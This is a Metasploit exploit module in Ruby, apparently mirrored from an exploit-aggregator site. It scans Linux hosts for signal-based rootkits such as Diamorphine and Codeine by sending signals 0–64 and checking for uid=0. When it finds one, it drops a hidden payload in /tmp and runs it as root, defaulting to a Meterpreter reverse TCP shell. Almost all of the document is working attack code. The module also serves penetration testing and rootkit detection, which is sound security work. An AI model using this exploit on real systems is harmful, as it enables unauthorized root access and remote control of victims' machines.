Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-LOCAL-ROOTKIT_PRIVESC_SIGNAL_HUNTER-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Deprecated

  moved_from 'exploit/linux/local/diamorphine_rootkit_signal_priv_esc'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Rootkit Privilege Escalation Signal Hunter',
        'Description' => %q{
          This module searches for rootkits which use signals to elevate
          process privileges to UID 0 (root).

          Some rootkits install signal handlers which listen for specific
          signals to elevate process privileges. This module identifies these
          rootkits by sending signals and observing UID switching to root.

          This module has been tested successfully with:

          Singularity 5b6c4b6 (2025-10-19) on Ubuntu 24.04
          kernel 6.14.0-33-generic (x64);
          Diamorphine 2337293 (2023-09-20) on Ubuntu 22.04
          kernel 5.19.0-38-generic (x64);
          Codeine 9644336 (2025-09-02) on Ubuntu 22.04
          kernel 5.19.0-38-generic (x64).
        },
        'License' => MSF_LICENSE,
        'Author' => 'bcoles',
        # Diamorphine rootkit first publicly documented use of signals for process privesc?
        'DisclosureDate' => '2013-11-07', # Diamorphine first public commit
        'References' => [
          ['URL', 'https://github.com/bcoles/rootkit-signal-hunter'],
          ['URL', 'https://xcellerator.github.io/posts/linux_rootkits_03/'],
          ['URL', 'https://github.com/m0nad/Diamorphine'],
          ['URL', 'https://github.com/h3xduck/Umbra'],
          ['URL', 'https://github.com/diego-tella/Codeine'],
          ['URL', 'https://github.com/MatheuZSecurity/Singularity'],
          ['URL', 'https://github.com/Asekon/RootKit'],
        ],
        'Platform' => ['linux'],
        'Arch' => [
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_RISCV64LE,
          ARCH_RISCV32LE,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Targets' => [['Auto', {}]],
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [
            CRASH_OS_DOWN,    # Poorly designed rootkits may crash
          ],
          'SideEffects' => [
            ARTIFACTS_ON_DISK,
            SCREEN_EFFECTS,   # Killing processes may spawn crash handler windows
          ]
        },
        'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
        'DefaultTarget' => 0
      )
    )
    register_options([
      OptInt.new('MIN_SIGNAL', [true, 'Start at signal', 0]),
      OptInt.new('MAX_SIGNAL', [true, 'Stop at signal', 64]),
      OptString.new('PID', [false, 'Process ID to send signals to (leave blank to spawn a new process)', ''])
    ])
    register_advanced_options([
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ])
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def cmd_exec_elevated(signal, cmd, pid)
    vprint_status("Executing '#{cmd}' with signal #{signal} (PID: #{pid}) ...")

    # NOTE: cleanup of hung processes will fail on non-POSIX shells (ie, fish)
    # due to using "$!" which is not supported
    res = cmd_exec(
      %(sh -c 'kill -#{signal} #{pid}; #{cmd}' 2>/dev/null & pid=$!; sleep 0.1; kill -CONT "$pid" 2>/dev/null; wait "$pid"),
      nil,
      5
    ).to_s
    vprint_line(res) unless res.blank?

    res
  end

  def check
    return CheckCode::Unknown('Session already has root privileges') if is_root?

    # NOTE: this will fail on non-POSIX shells (ie, fish)
    # due to using "$$" which is not supported
    pid = datastore['PID'].downcase.blank? ? '\$$' : datastore['PID']

    # Iterate from MIN to MAX sending each signal to PID.
    #
    # SIGCONT if the process hangs.
    # Note: cleanup of hung processes will fail on non-POSIX shells (ie, fish)
    # due to using "$!" which is not supported
    cmd = [
      "i=#{datastore['MIN_SIGNAL']}",
      %(while [ "$i" -le #{datastore['MAX_SIGNAL']} ]),
      %(do sh -c "kill -$i #{pid}; id" 2>/dev/null & pid=$!),
      'sleep 0.1; kill -CONT "$pid" 2>/dev/null',
      'wait "$pid"',
      'i=$((i + 1))',
      'done 2>/dev/null'
    ].join('; ')

    res = cmd_exec(
      cmd,
      nil,
      60
    )
    vprint_line(res) unless res.blank?

    return CheckCode::Safe('No rootkits detected') unless res.to_s.include?('uid=0')

    CheckCode::Vulnerable('Rootkit(s) are installed and configured to elevate privileges for signals.')
  end

  # @return Array of signals which can be used to elevate privileges to root
  def brute_signals(min, max, pid)
    print_status("Trying signals #{min} to #{max} (PID: #{pid}) ...")
    signals = []

    (min..max).each do |signal|
      signals << signal if cmd_exec_elevated(signal, 'id', pid).to_s.include?('uid=0')
    end

    signals
  end

  def exploit
    fail_with(Failure::BadConfig, 'Session already has root privileges.') if is_root?
    fail_with(Failure::BadConfig, "Start signal (#{datastore['MIN_SIGNAL']}) is greater than stop signal (#{datastore['MAX_SIGNAL']}); nothing to iterate.") if datastore['MIN_SIGNAL'] > datastore['MAX_SIGNAL']
    fail_with(Failure::BadConfig, "#{base_dir} is not writable") unless writable?(base_dir)

    pid = datastore['PID'].downcase.blank? ? '$$' : datastore['PID']
    signals = brute_signals(
      datastore['MIN_SIGNAL'],
      datastore['MAX_SIGNAL'],
      pid
    )

    fail_with(Failure::NotVulnerable, 'No rootkits detected') if signals.blank?

    print_good("Found #{signals.size} signals for privilege escalation (#{signals.join(', ')}).")

    payload_name = ".#{rand_text_alphanumeric(8..12)}"
    payload_path = "#{base_dir}/#{payload_name}"
    payload_data = generate_payload_exe
    print_status("Writing '#{payload_path}' (#{payload_data.size} bytes) ...")
    write_file(payload_path, payload_data)
    chmod(payload_path, 0o755)
    register_file_for_cleanup(payload_path)

    signals.each do |signal|
      print_status("Trying signal #{signal} ...")
      cmd_exec_elevated(signal, "#{payload_path} & echo ", pid)
      sleep(5)
      break if session_created?
    end
  end
end